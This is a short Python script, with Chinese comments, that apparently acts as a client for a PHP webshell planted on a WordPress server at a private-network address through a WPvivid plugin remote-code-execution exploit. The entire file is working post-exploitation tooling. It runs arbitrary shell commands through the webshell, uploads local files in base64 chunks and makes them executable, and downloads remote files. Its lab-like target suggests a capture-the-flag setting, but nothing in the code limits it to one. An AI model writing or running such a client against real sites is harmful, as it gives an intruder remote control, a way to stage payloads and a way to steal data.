#!/usr/bin/env python3
"""
Vault webshell client.

用途:
  1. 通过 WPvivid RCE 写入的 PHP webshell 执行命令。
  2. 通过 base64 分块把本地文件上传到目标。
  3. 从目标下载文本文件到本地。

如果重新运行 PoC 后 webshell 文件名变化，只需要更新 WEBSHELL_URL。
"""
import base64
import shlex
import sys
import urllib.parse
import urllib.request

WEBSHELL_URL = "http://192.168.1.247/wp-content/uploads/3jip1ach1b1h6tgfr0m1qjr8.php"


def run(cmd: str) -> str:
    qs = urllib.parse.urlencode({"cmd": cmd})
    with urllib.request.urlopen(f"{WEBSHELL_URL}?{qs}", timeout=30) as resp:
        return resp.read().decode(errors="replace")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        raise SystemExit(f"usage: {sys.argv[0]} <command> | --upload <local> <remote> | --download <remote> <local>")

    if sys.argv[1] == "--upload":
        local, remote = sys.argv[2], sys.argv[3]
        data = base64.b64encode(open(local, "rb").read()).decode()
        remote_q = shlex.quote(remote)
        b64_path = shlex.quote(remote + ".b64")
        run(f"rm -f {b64_path} {remote_q}")
        for i in range(0, len(data), 900):
            chunk = shlex.quote(data[i:i + 900])
            run(f"printf %s {chunk} >> {b64_path}")
        print(run(f"base64 -d {b64_path} > {remote_q} && chmod 755 {remote_q} && ls -l {remote_q}"), end="")
    elif sys.argv[1] == "--download":
        remote, local = sys.argv[2], sys.argv[3]
        data = run(f"cat {shlex.quote(remote)}")
        with open(local, "w") as f:
            f.write(data)
        print(f"saved {local} ({len(data)} bytes)")
    else:
        print(run(" ".join(sys.argv[1:])), end="")